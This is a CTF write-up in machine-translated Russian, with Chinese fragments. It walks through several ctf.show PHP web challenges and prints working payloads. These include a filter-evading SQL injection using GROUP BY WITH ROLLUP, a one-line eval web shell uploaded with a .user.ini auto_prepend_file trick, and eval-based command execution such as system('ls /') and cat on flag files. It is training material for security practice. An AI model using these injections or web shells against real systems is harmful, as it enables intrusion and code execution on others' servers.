Каталог статей
ctf.show_web10
Зайди на страницу это окно входа
Нажмите кнопку отмены, появится исходный код
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
Многие операторы инъекции были отфильтрованы.Group
by и with rollup в основном используются здесь для объединения
group by, не говоря уже о том, что это расположение, и по умолчанию используется восходящий порядок
с rollup (за group by может следовать with rollup, а это значит, что сводная статистика выполняется опять же на основе групповой статистики)
В результате будет лишняя строка, где столбец пароля нулевой, а count (*) - статистическая сумма.
Например:
select password,count(*) from test group by password with rollup;
Итак, мы конструируем полезную нагрузку:
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
Поскольку после добавления с помощью свертки пароль имеет строку NULL, нам нужно только ввести пустой пароль, чтобы сделать (NULL==NULL), /**/ используется для обхода пространственного фильтра
Вы можете получить флаг
ctfshow {d89ccf86-5ac9-4429-95e0-ea40b0afba89}
Два, ctf.show_web11
Перейти на главную страницу
Вы можете видеть, что код php имеет много ограничений.
Обратите внимание на способ получения флага $password==$_SESSION['password']
. Пароль вводится нами. Пароль в сеансе хранится локально, поэтому нам нужно только ввести пустой пароль и удалить локальный сеанс для успешно обойти его.
Получить флаг:
ctfshow{5f4e07ee-e7d9-4302-8b7d-f3eabfa0ed16}
3. ctf.show_web12
Перейти на главную страницу
Сначала проверьте исходный код
Присутствует переменная cmd подсказки, указывающая на то, что, вероятно, есть функция выполнения кода в фоновом режиме.Введите
phpinfo(); просмотрите информацию о конфигурации php
Обнаружено, что многие методы выполнения команд отключены.Вы
также можете использовать highlight_file("index.php"); просмотреть исходный код
Вот еще одна функция php glob();
функция glob() возвращает имя файла или каталог, который соответствует указанный узор.
например:
glob("*") 匹配任意文件
glob("*.txt")匹配以txt为后缀的文件
С помощью этого метода мы сначала узнаем все файлы в текущем каталоге, чтобы увидеть, доступны ли они. Input?cmd=print_r(glob("*")); распечатайте следующий файл
, а затем прочитайте его
?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
Получить флаг:
ctfshow{2eb6ffd3-82c8-4718-a528-9b251e5a31e9}
4. ctf.show_web13
Зайди на страницу
и попробуй загрузить файл, но эффекта нет, найди скрытый каталог
Найден upload.php, попробуйте upload.php.bak, чтобы получить файл с исходным кодом
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
Получил исходный код и обнаружил, что размер ограничительного файла <=24, длина имени <=9, длина суффикса <=3, а имя и суффикс не могут иметь php, поэтому такого троянского коня можно
сконструировать
<?php eval($_POST['a']);
Из-за суффикса сначала загрузите файл 2.txt,
а затем загрузите файл .user.ini.
.user.ini в php имеет следующее объяснение:
PHP будет искать имя файла в каждом каталоге, если для него задана пустая строка, PHP не будет искать, то есть если имя файла установлено в .user. ini, то любая страница будет содержать содержимое файла.
Вписываем auto_prepend_file=2.txt в .user.ini, чтобы все файлы в этой директории содержали содержимое 2.txt
//
После подключения муравьиного меча обнаруживаем, что нет разрешения на работу с файлом, поэтому мы непосредственно входим на веб-страницу Посмотрите вверх флаг.
Отправить с помощью POST
a=print_r(glob("*"));
Затем используйте highlight_file(), чтобы получить флаг
a=highlight_file("文件名");
5. Овощная чашка для собак
1. Веб-вход
зайти на страницу
код
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
Давно пытаюсь, это действительно вопрос входа? После прочтения wp большого парня, подведем итоги
расследования: взаимосвязь между методом запроса и назначением, а также китайская кодировка поля Cookie.
Основная причина — использование последнего однопредложного троянского коня, который имеет много вложенности, давайте рассмотрим его: во-
первых, самая внутренняя часть — это «CTFshow-QQ group:», а передняя — $_COOKIE, то есть 'CTFshow-QQ group' в куки берется значение,
затем, если мы передаем его в куки CTFshow-QQ群:=a
, троянский конь с одним предложением становится:
eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);
Тогда $_POST[a] — это значение параметра a, которое будет передано POST, мы передадим его в a=b
, тогда оно станет:
eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);
$_GET[b] — передать значение параметра b в режиме GET, а затем присвоить значение b, b=c
чтобы получить:
eval($_REQUEST[c][6][0][7][5][8][0][9][4][4]);
$_REQUEST[c][6][0][7][5][8][0][9][4][4]
, который $_REQUEST
можно запрашивать любым способом, c — это массив, а значение, переданное в запросе $_REQUEST, — это значение [6][0][7][5][8][0][9][4][4]
ключа ID в массиве C. Поскольку массивы PHP могут присваивать значения ключам ID,
то мы можем напрямую присваивать значения этим ключам в массиве C:
c[6][0][7][5][8][0][9][4][4]= system('ls /');
Поэтому мы используем форму POST для отправки пакета, и обратите внимание “群”
на использование кодировки URL %E7%BE%A4
, иначе burp не распознает его (при присвоении значения c его можно разместить в заголовке запроса или в сущности запроса, потому что запрос метод запроса может быть в форме get или post. accept)
Здесь мне удобно использовать хакбар,
поэтому получаем файл flagaaa, вводим команду cat /f1agaaa
для получения флага
и получаем много
2.web2 c0me_t0_s1gn
Когда я зашел на страницу
, мне подсказали, что есть информация, которую нужно найти. Я пытался использовать Yujian и dirsearch, чтобы найти каталог, но не смог найти. Исходный код страницы я видел позже.
некоторая информация о флаге, и последовала конкретная подсказка на консоль.Он предложил
метод операции, чтобы найти флаг, и
нашел его после запуска.Информация во второй половине флага может быть объединена.
3. У меня в глазах только $
зайти на страницу
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
Вы можете видеть, что метод post используется для передачи параметров.Здесь мы изучаем вложенность переменных, ряд переменных $
, начальная переменная должна быть _
, поэтому нам нужно определить переменные по очереди, и назначить их команде оператор выполнения после его выполнения, system('ls /');
и переменные не могут быть повторены
Я не умею писать сценарии, поэтому обратитесь к большому парню.
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=system('ls /')
Измените команду, чтобы получить флаг
Подведем итог
Последующие действия продолжат делиться заметками ctfshow